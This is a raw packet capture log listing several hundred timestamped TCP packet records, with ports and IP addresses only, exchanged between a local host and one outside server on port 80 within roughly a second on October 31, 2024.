Oct 31, 2024 01:19:15.973350048 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973361015 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973364115 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973376036 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973385096 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973401070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973402977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973414898 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973426104 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973432064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973453999 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973459005 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973459005 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973481894 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973481894 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973495007 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973498106 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973505974 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973517895 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973520041 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973541975 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973543882 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973553896 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973561049 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973565102 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973583937 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973593950 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973597050 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973619938 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973638058 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973668098 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973695993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973707914 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973710060 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973718882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973731995 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973742008 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973747969 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973763943 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973764896 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973778009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973788023 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973789930 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973800898 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973812103 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973820925 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973823071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973846912 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973867893 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973870993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973886013 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973897934 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973907948 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973913908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973936081 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973942041 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973953009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973962069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.973963976 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.973984957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974000931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974000931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974014997 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974031925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974035025 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974045038 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974050999 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974057913 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974075079 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974076033 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974090099 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974092960 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974107027 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974107981 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974118948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974134922 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974154949 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974159002 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974159002 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974173069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974184990 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974195957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974208117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974215984 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974220037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974245071 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974266052 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974287987 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974335909 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974345922 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974358082 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974390030 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974400043 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974404097 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974411011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974436998 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974452019 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974466085 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974466085 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974481106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974493980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974499941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974499941 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974513054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974525928 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974531889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974538088 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974565983 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974606037 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974631071 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974641085 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974658012 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974669933 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974680901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974693060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974704027 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974715948 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974725962 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974762917 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974778891 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974783897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974783897 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974791050 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974808931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974808931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974808931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974808931 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974819899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974819899 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974826097 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974843979 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974847078 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974859953 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974868059 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974868059 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974881887 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974891901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974905014 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974917889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974926949 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974942923 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974967003 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974978924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.974988937 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974988937 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974988937 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.974991083 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975003004 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975014925 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975014925 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975022078 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975040913 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975044966 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975054026 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975064993 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975069046 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975078106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975089073 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975100040 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975106955 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975115061 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975126982 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975133896 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975159883 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975207090 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975228071 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975239038 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975250006 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975250006 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975250006 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975264072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975277901 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975284100 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975290060 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975300074 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975310087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975331068 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975338936 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975342989 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975354910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975361109 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975370884 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.975372076 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975399017 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.975424051 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976067066 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976079941 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976090908 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976129055 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976133108 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976145029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976150990 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976162910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976174116 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976176977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976186991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976198912 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976210117 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976210117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976221085 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976237059 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976258993 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976304054 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976357937 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976362944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976373911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976383924 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:15.976404905 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:15.976428032 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.012536049 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012552977 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012563944 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012573957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012589931 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012602091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012613058 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012619972 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.012623072 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012680054 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.012731075 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012742996 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012753010 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.012779951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.012809038 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013158083 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013170004 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013179064 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013205051 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013206959 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013221025 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013226032 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013232946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013252020 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013273954 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013281107 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013290882 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013300896 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013314009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013324022 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013325930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013345957 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013350964 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013366938 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013370991 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013381958 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013401031 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013406992 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013415098 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013426065 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013453007 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013525009 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013536930 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013554096 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013565063 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013571024 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013576984 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013593912 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013621092 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013688087 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013701916 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013712883 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013720036 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013725996 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013732910 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013762951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013783932 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013840914 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013858080 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013869047 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013884068 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013900995 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013900995 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013906956 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013909101 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013920069 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013930082 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013931990 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013943911 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013946056 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013956070 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.013957977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.013981104 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014010906 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014214039 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014240980 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014252901 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014260054 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014298916 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014298916 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014303923 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014323950 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014337063 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014343977 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014348984 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014370918 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014370918 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014377117 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014388084 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014390945 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014415026 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014447927 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014477015 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014489889 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014516115 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014520884 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014529943 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014538050 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014543056 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014554024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014561892 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014564991 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014571905 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014580011 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014626980 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014657021 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014681101 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014693022 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014698029 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014707088 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014720917 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014723063 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014735937 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014745951 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014756918 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014765024 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014779091 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014790058 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014792919 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014801979 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014812946 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014816046 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014825106 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014837027 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014843941 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014851093 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.014867067 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014875889 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.014905930 CET	49995	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:16.015074968 CET	80	49995	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:16.015091896 CET	80	49995	185.215.113.16	192.168.2.6
